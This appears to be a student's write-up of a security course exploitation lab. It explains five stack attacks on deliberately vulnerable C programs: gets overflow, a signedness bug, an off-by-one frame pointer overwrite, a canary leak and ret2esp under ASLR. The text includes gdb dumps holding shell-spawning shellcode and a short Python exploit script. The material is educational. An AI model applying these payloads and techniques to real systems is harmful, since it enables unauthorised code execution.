# Question 1

The program 'dejavu.c' contains a buffer overflow vulnerability. The declaration **char door[8]** restricts the size of the buffer, but **gets** doesn't check the length of the user input.

Here we see the memory addresses surrounding buffer and their contents. We can see the return instruction pointer or saved **eip** value (0xb7ffc4d3) and location (0xbffff78c). The strategy for attack is to overwrite the **eip** value to **eip+4** and write the beginning of the shellcode to that location. This way when the stack is closed, the program looks to the **eip** value to know which code should be executed. Because of how we overwrite the buffer, that points to the shellcode!

**Before**:

Note we find the location of the eip by typing **info frame** into gdb and **x/32x door** to see the memory around the buffer (door)

```
(gdb) s
deja_vu () at dejavu.c:7
7         gets(door);
(gdb) info frame
Stack level 0, frame at 0xbffff790:
 eip = 0xb7ffc4ab in deja_vu (dejavu.c:7); saved eip = 0xb7ffc4d3
 called by frame at 0xbffff7b0
 source language c.
 Arglist at 0xbffff788, args:
 Locals at 0xbffff788, Previous frame's sp is 0xbffff790
 Saved registers:
  ebp at 0xbffff788, eip at 0xbffff78c
(gdb) x/32x door
0xbffff778:     0xbffff82c      0xb7ffc165      0x00000000      0x00000000
0xbffff788:     0xbffff798      0xb7ffc4d3      0x00000000      0xbffff7b0
0xbffff798:     0xbffff82c      0xb7ffc6ae      0xb7ffc648      0xb7ffefd8
0xbffff7a8:     0xbffff824      0xb7ffc6ae      0x00000001      0xbffff824
0xbffff7b8:     0xbffff82c      0x00000000      0x00000000      0x00000100
0xbffff7c8:     0xb7ffc682      0xb7ffefd8      0x00000000      0x00000000
0xbffff7d8:     0x00000000      0xb7ffc32a      0xb7ffc4bd      0x00000001
0xbffff7e8:     0xbffff824      0xb7ffc158      0xb7ffd19d      0x00000000
(gdb)
```

**After**:

Note we overwrite the buffer with “A” = 0x41, we overwrite the location of the eip (located at **0xbffff78c**) to the beginning of the shellcode in the previous stack (such that value of the eip is **0xbffff790**)

```
(gdb) x/32x 0xbffff778
0xbffff778:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff788:     0x41414141      0xbffff790      0xcd58316a      0x89c38980
0xbffff798:     0x58466ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xbffff7a8:     0x546e6962      0x8953505b      0xb0d231e1      0x0080cd0b
0xbffff7b8:     0xbffff800      0x00000000      0x00000000      0x00000100
0xbffff7c8:     0xb7ffc682      0xb7ffefd8      0x00000000      0x00000000
0xbffff7d8:     0x00000000      0xb7ffc32a      0xb7ffc4bd      0x00000001
0xbffff7e8:     0xbffff824      0xb7ffc158      0xb7ffd19d      0x00000000
```

## Question 2

In a similar fashion to the previous question, there is a buffer overflow vulnerability due to a type error in “agent-smith.” Although **size** is interpreted to be an **int8_t**, signed integer type when performing the length check, it is interpreted as a **size_t**, unsigned variable in **freads**. Therefore, if we insert a value like **0xFF**, it is interpreted as **-1** when checking the size of our input, but is interpreted as **255** when used in **freads**, allowing us to overflow the buffer variable **msg** in the same fashion as the last problem.

**Before**:
Note we find the location of the eip by typing **info frame** into gdb and **x/128x msg** to see the memory around the buffer (msg). Note the 128 bytes that were zero’d out by the **memset** function, and the highlighted **eip** value.

```
(gdb) info frame
Stack level 0, frame at 0xbffff760:
 eip = 0x4006f9 in display (agent-smith.c:17); saved eip = 0x400775
 called by frame at 0xbffff790
 source language c.
 Arglist at 0xbffff758, args: path=0xbffff916 "pwnzerized"
 Locals at 0xbffff758, Previous frame's sp is 0xbffff760
 Saved registers:
  ebx at 0xbffff754, ebp at 0xbffff758, eip at 0xbffff75c
```

```
(gdb) x/128x msg
0xbffff6c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6d8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6e8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6f8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff708:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff718:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff728:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff738:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff748:     0x00000001      0xb7fff270      0x00000000      0xb7ffcf5c
0xbffff758:     0xbffff778      0x00400775      0xbffff916      0x00000000
0xbffff768:     0x00000000      0x00400751      0x00000000      0xbffff790
0xbffff778:     0xbffff810      0xb7f8cc8b      0xbffff804      0x00000002
```

**After:**
Our solution is “0xFF” + “random148bytes” + “newEIPvalue” + “shellcode”. We find the difference between the **eip** location and the beginning of the buffer to be 148 bytes. We use the value **A** or **0x41** as shown below. We calculate the new **eip** value to be the location of the old eip value + 4 bytes (**0xbffff760**, shown below), where we will then enter the shellcode. The 0xFF value is explained above, as it allows us to overwrite the buffer because of the improper interpretation of a variable.

```
(gdb) x/128x msg
0xbffff6c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff708:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff718:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff728:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff738:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff748:     0x000000c0      0x41414141      0x41414141      0x41414141
0xbffff758:     0x41414141      0xbffff760      0xcd58316a      0x89c38980
0xbffff768:     0x58466ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xbffff778:     0x546e6962      0x8953505b      0xb0d231e1      0x0a80cd0b
0xbffff788:     0xbffff810      0xb7f8cc8b      0x00000002      0xbffff804
0xbffff798:     0xbffff810      0x00000008      0x00000000      0x00000000
0xbffff7a8:     0xb7f8cc5f      0x00401fb8      0xbffff800      0xb7ffede4
0xbffff7b8:     0x00000000      0x00400505      0x0040073b      0x00000002
```

## Question 3

Here we can use an ‘**off-by-one**’ attack to re-direct the **ebp** that eventually causes the **esp** to point to a value that it assumes is the **rip** (but is in fact, a value that we have inserted to point to shellcode).

First, three frames are created on the stack in the following order: **main**, **dispatch**, **invoke**, **flip**. In the frame of **invoke** lies our buffer, **buf**, of size 64 bytes. In flip, we write to the buffer. However, an error in writing the for loop allows us to overwrite the byte highlighted in the ‘before’ output below (the lower byte of the **saved frame pointer** in the frame of **invoke**). When the frame of **invoke** closes, the **ebp** goes to the value of the **saved frame pointer** (which we have adjusted) and **esp** correctly reads the **rip** (located at the location 4 bytes away from the **ebp**) which moves to the next line of code. We now enter the frame of **dispatch**, and then promptly exit. At this point the **esp** reads the **rip** (which it knows is at the location 4 bytes away from the **ebp**). But because we modified the location of **ebp**, we make sure the value at the location 4 bytes away from the **ebp** points to our shellcode.

Our solution is therefore:
“addressOfShellcode*” + “addressOfShellcode” + “shellcode” + “17RandomBytes” + “SFPbyteWeOverwrite (to point to addressOfShellcode)”

*Note: this first addressOfShellcode could be any random 4 bytes, as the **esp** reads the **rip** 4 bytes away from the **ebp** and runs the shellcode that doesn’t access the memory at the new **ebp** value.

**Before**:
Here we see the 64 byte **buf** in **invoke**, and the highlighted 65th byte that is the lower byte of the **sfp** that we overwrite.

```
(gdb) x/64x buf
0xbffff700:     0x00000000      0x00000001      0x00000000      0xbffff8ab
0xbffff710:     0x00000000      0x00000000      0x00000000      0xb7ffc44e
0xbffff720:     0x00000000      0xb7ffefd8      0xbffff7e0      0xb7ffc165
0xbffff730:     0x00000000      0x00000000      0x00000000      0xb7ffc6dc
0xbffff740:     0xbffff74c      0xb7ffc539      0xbffff8df      0xbffff758
```

**After**:

Below is the highlighted 64 bytes of **buf** (and the 65th byte after it) overwritten. As we’re in **invoke**, you can see the result of **info frame** saying the **ebp** is at **0xbffff740** and the **eip** is at **0xbffff744**.

```
(gdb) x/64x buf
0xbffff700:     0xbffff708      0xbffff708      0xcd58316a      0x89c38980
0xbffff710:     0x58466ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xbffff720:     0x546e6962      0x8953505b      0xb0d231e1      0x6180cd0b
0xbffff730:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff740:     0xbffff700      0xb7ffc539      0xbffff8df      0xbffff758
0xbffff750:     0xb7ffc55d      0xbffff8df      0xbffff7e0      0xb7ffc734
0xbffff760:     0x00000002      0xbffff7d4      0xbffff7e0      0x00000000
0xbffff770:     0x00000000      0x00000100      0xb7ffc708      0xb7ffefd8
0xbffff780:     0x00000000      0x00000000      0x00000000      0xb7ffc32a
0xbffff790:     0xb7ffc53f      0x00000002      0xbffff7d4      0xb7ffc158
0xbffff7a0:     0xb7ffd29b      0x00000000      0x00000000      0x00000000
0xbffff7b0:     0x00000000      0xb7ffc2fe      0x00000000      0xb7ffc1dd
0xbffff7c0:     0xb7ffc000      0xbffff7d0      0xbffff7d0      0xbffff7d0
0xbffff7d0:     0x00000002      0xbffff8c7      0xbffff8df      0x00000000
0xbffff7e0:     0xbffff921      0xbffff929      0xbfffffc6      0xbfffffcb
0xbffff7f0:     0xbfffffd4      0x00000000      0x00000020      0xb7ffac10
(gdb) info frame
Stack level 0, frame at 0xbffff748:
 eip = 0xb7ffc51c in invoke (agent-brown.c:19); saved eip = 0xb7ffc539
 called by frame at 0xbffff708
 source language c.
 Arglist at 0xbffff740, args:
    in=0xbffff8df "(\327ß (\327ß J\021x\355\240\251\343\251\341Jfx\355\240\
Nt{ps\251\301\021\362\220+\355\240", 'A' <repeats 17 times>, " "
 Locals at 0xbffff740, Previous frame's sp is 0xbffff748
 Saved registers:
  ebp at 0xbffff740, eip at 0xbffff744
(gdb) list 19
14      }
15
16      void invoke(const char *in)
17      {
18        char buf[64];
19        flip(buf, in);
20        puts(buf);
21      }
22
23      void dispatch(const char *in)
(gdb) n
20        puts(buf);
```

Now we are leaving **dispatch**. I've reprinted the contents of **buf** below. Note that now, as we move frames the **ebp** is at **0xbffff700** and the **eip** is at **0xbffff704**. This is because when we exited invoke, the **ebp** moved to the **sfp** value that we overwrite in **buf**, **0xbffff700**. This means that now, when we leave **dispatch**, the **esp** calculates the **eip** as 4 bytes above the **ebp**'s location. We then execute the code at the value of the **eip** register, which is **0xbffff708**, which points to our shellcode.

```
(gdb) x/64x 0xbffff700
0xbffff700:     0xbffff708      0xbffff708      0xcd58316a      0x89c38980
0xbffff710:     0x58466ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xbffff720:     0x546e6962      0x8953505b      0xb0d231e1      0x6180cd0b
0xbffff730:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff740:     0xbffff700      0xb7ffc539      0xbffff8df      0xbffff758
0xbffff750:     0xb7ffc55d      0xbffff8df      0xbffff7e0      0xb7ffc734
0xbffff760:     0x00000002      0xbffff7d4      0xbffff7e0      0x00000000
```

```
(gdb) list 25
20          puts(buf);
21        }
22
23        void dispatch(const char *in)
24        {
25          invoke(in);
26        }
27
28        int main(int argc, char *argv[])
29        {
(gdb) info frame
Stack level 0, frame at 0xbffff708:
 eip = 0xb7ffc53c in dispatch (agent-brown.c:26); saved eip = 0xbffff708
 called by frame at 0xbffff710
 source language c.
 Arglist at 0xbffff700, args: in=0xcd58316a <error: Cannot access memory a
 Locals at 0xbffff700, Previous frame's sp is 0xbffff708
 Saved registers:
  ebp at 0xbffff700, eip at 0xbffff704
```

## Question 4

The vulnerability in question 4 is a combination of buffer overflow and null-termination of strings in C.

This is the code in agent-jz.c

```c
#define BUFLEN 16

#include <stdio.h>
#include <string.h>

int nibble_to_int(char nibble) {
    if ('0' <= nibble && nibble <= '9') return nibble - '0';
    else return nibble - 'a' + 10;
}

void dehexify() {
    struct {
        char answer[BUFLEN];
        char buffer[BUFLEN];
    } c;
    int i = 0, j = 0;

    gets(c.buffer);

    while (c.buffer[i]) {
        if (c.buffer[i] == '\\' && c.buffer[i+1] == 'x') {
            int top_half = nibble_to_int(c.buffer[i+2]);
            int bottom_half = nibble_to_int(c.buffer[i+3]);
            c.answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            c.answer[j] = c.buffer[i];
        }
        i++; j++;
    }

    c.answer[j] = 0;
    printf("%s\n", c.answer);
```

From the code in dehexify(), we can see that **gets(c.buffer)** is an exploitable line of code, since **gets** doesn't perform any checks on whether data is written past the allocated size for **c.buffer**. Furthermore, we see that if we input anything prefixed with **\x**, the inner if-condition will be met, which means that there will be memory accesses all the way until **c.buffer[i+3]** and **i** will be incremented by 4, by virtue of the lines **i += 3** and **i++**.

```
#!/usr/bin/env python2

from scaffold import *

# Example send:
p.send('test\\x41\n')
#!/usr/bin/env python2

from scaffold import *

# Example send:
p.send('test\\x41\n')

# Example receive:
assert p.recvline() == 'testA'

p.send('A' * 12 + '\\x' + '\n')
canary = p.recvline()[13:17]
# HINT: the last line of your exploit should look something like:
p.send('\x00' * 16  + canary + 'B' * 8 + '\xa4\xf7\xff\xbf' + SHELLCODE + '\x00\n')
# where m, canary, n and rip are all values you must determine
returncode = p.end()

if returncode == -11: print 'segmentation fault or stack canary!'
elif returncode != 0: print 'return code', returncode
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
"interact" 19L, 554C written
pwnable:~$ ./exploit
I can only show you the door. You're the one that has to walk through it.

Next username: jones
Next password: Bw6eAWWXM8
I can only show you the door. You're the one that has to walk through it.

Next username: jones
Next password: Bw6eAWWXM8
I can only show you the door. You're the one that has to walk through it.

Next username: jones
Next password: Bw6eAWWXM8
```

This is the code in our interact file.

From the code above, we first send 12 A’s followed by a \x and a \n. Since strings in C are null-terminated, \x00 and \x00 are padded on as the terminator in order to make the length of the string equal to 16. So, when the while loop reads the \x, it does the nibble_to_int conversion for \x00\n\x00\x00, and then increments i’s count from 12 to 16. However, c.buffer[16] is not a null terminator, but rather the first byte of the canary. Therefore, the while loop keeps going until it hits a null terminator somewhere further down the line. For the purposes of determining the canary, however, in the received string, the first 12 bytes are the A’s, the 13th byte is the nibble_to_int converted number, and the 14th byte (i.e. 13th index) is where the canary starts, so we specify p.recvline()[13:17], to extract the 4 bytes of the canary.

Next, we send the following bytes via p.send(‘\x00’ * 16 + canary + 'B' * 8 + '\xa4\xf7\xff\xbf' + SHELLCODE + ‘\x00\n’). In order to prevent having the answer overflow into the buffer which, in turn, could overflow into the canary, we need to cut off execution of the while loop, which occurs with the first ‘\x0’. The next 15 bytes can be arbitrary (in this case, it is ‘x0’) but it could very easily have been p.send(‘\x00’ + ‘A’ * 15 + …), so long as the null terminator is in the beginning, and the canary is not overwritten. Then, we follow this with the canary which we determined earlier, followed by 8 random characters (in this case ‘B’) which is used to overwrite **ebp** (we don’t care about it), since the **eip** is 8 bytes after the canary. Finally, we follow this with the address in memory that we want to execute our shellcode (i.e. the rip), followed by the shellcode, and then finally, followed by a new line character.

In order to identify the rip, we looked into the gdb. By running the command **info frame** inside the gdb, we were able to identify the addresses of the **ebp @ 0xbffff79c**

```
(gdb) x/32x c.buffer
0xbffff784:     0x00000000      0x00000000      0x00000000      0x00401fb0
0xbffff794:     0x4fea3671      0x00401fb0      0xbffff7a8      0x00400839
0xbffff7a4:     0xb7ffcf5c      0xbffff82c      0xb7f8cc8b      0x00000001
0xbffff7b4:     0xbffff824      0xbffff82c      0x00000008      0x00000000
0xbffff7c4:     0x00000000      0xb7f8cc5f      0x00401fb0      0xbffff820
0xbffff7d4:     0xb7ffede4      0x00000000      0x00400555      0x00400823
0xbffff7e4:     0x00000001      0xbffff824      0x00400464      0x00400898
0xbffff7f4:     0x00000000      0xb7fc9aea      0x00000000      0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff7a4:
 eip = 0x40072f in dehexify (agent-jz.c:18); saved eip = 0x400839
 called by frame at 0xbffff7b0
 source language c.
 Arglist at 0xbffff79c, args:
 Locals at 0xbffff79c, Previous frame's sp is 0xbffff7a4
 Saved registers:
  ebx at 0xbffff798, ebp at 0xbffff79c, eip at 0xbffff7a0
(gdb)
```

and the **eip @ 0xbffff7a0**. This means that our rip is **eip + 4 = eip @ 0xbffff7a4.**

From this output, we can see that the address of the buffer is 0xbffff784, which means that 24 bytes are between **c.buffer** and the **ebp** (0xbffff79c - 0xbffff784) = 24, and since the buffer is 16 bytes and the canary is 4 bytes, this means that there are 4 bytes of separation between the canary and the **ebp**.

## Question 5

Here we can use the **ret2esp** method to exploit the existence of a buffer overflow vulnerability, even with ASLR enabled. We find a **jmp *%esp** instruction's address, and use that address when overwriting the **rip**. We then place the shellcode above the **rip**, as the instruction will execute and tell the program to read the code located at the location of the stack pointer, as detailed in the smashing the stack resource provided.

The buffer overflow vulnerability is located in the **io** function. Even though the size of the buffer we pass in is **32 bytes**, because we left shift the argument that limits the amount we can write to the buffer by 3, the **recv** function allows us to write 8x more bytes (**256 bytes**) into the buffer.

```
ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, 0);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[32];
  memset(buf, 0, sizeof(buf));
  io(client, 32, buf);
}
```

Even though we have a buffer overflow vulnerability, we cannot simply insert shellcode and point the **rip** to the beginning of the shellcode because ASLR scrambles the location of the beginning of each memory segment. Therefore, we have to find an instruction in the code (in the .txt segment, that is NOT scrambled in ASLR) that will tell the program to execute the code in a specific location relative to an existing variable (we cannot use absolute values, rather we must use relative values to bypass ASLR).

From the code, we can see that the number **58623** or **0xE4FF** is used in the code. We can find that value using GDB, and from there find the location of the instruction **jmp *%esp** which tells the program to execute the code at the stack pointer location.

```
(gdb) disass magic
Dump of assembler code for function magic:
   0x08048644 <+0>:     push   %ebp
   0x08048645 <+1>:     mov    %esp,%ebp
   0x08048647 <+3>:     call   0x804892c <__x86.get_pc_thunk.ax>
   0x0804864c <+8>:     add    $0x1964,%eax
   0x08048651 <+13>:    mov    0xc(%ebp),%eax
   0x08048654 <+16>:    shl    $0x3,%eax
   0x08048657 <+19>:    xor    %eax,0x8(%ebp)
   0x0804865a <+22>:    mov    0x8(%ebp),%eax
   0x0804865d <+25>:    shl    $0x3,%eax
   0x08048660 <+28>:    xor    %eax,0xc(%ebp)
   0x08048663 <+31>:    orl    $0xe4ff,0x8(%ebp)
   0x0804866a <+38>:    mov    0xc(%ebp),%ecx
   0x0804866d <+41>:    mov    $0x3e0f83e1,%edx
   0x08048672 <+46>:    mov    %ecx,%eax
   0x08048674 <+48>:    mul    %edx
   0x08048676 <+50>:    mov    %edx,%eax
   0x08048678 <+52>:    shr    $0x4,%eax
   0x0804867b <+55>:    imul   $0x42,%eax,%eax
   0x0804867e <+58>:    sub    %eax,%ecx
   0x08048680 <+60>:    mov    %ecx,%eax
   0x08048682 <+62>:    mov    %eax,0xc(%ebp)
   0x08048685 <+65>:    mov    0x8(%ebp),%eax
   0x08048688 <+68>:    and    0xc(%ebp),%eax
   0x0804868b <+71>:    pop    %ebp
   0x0804868c <+72>:    ret
End of assembler dump.
(gdb) x/i 0x08048666
   0x8048666 <magic+34>:        jmp    *%esp
```

Since we know the address of this instruction and it never changes in ASLR, we can combine this knowledge with the buffer overflow vulnerability to overwrite our buffer and stack frame pointer, replace the **rip** with the appropriate address **0x08048666**, and insert our shellcode afterwards such that it is in the previous stack frame (where the stack frame pointer will be when the **rip** value is read, allowing our **jmp *%esp** instruction to execute the code).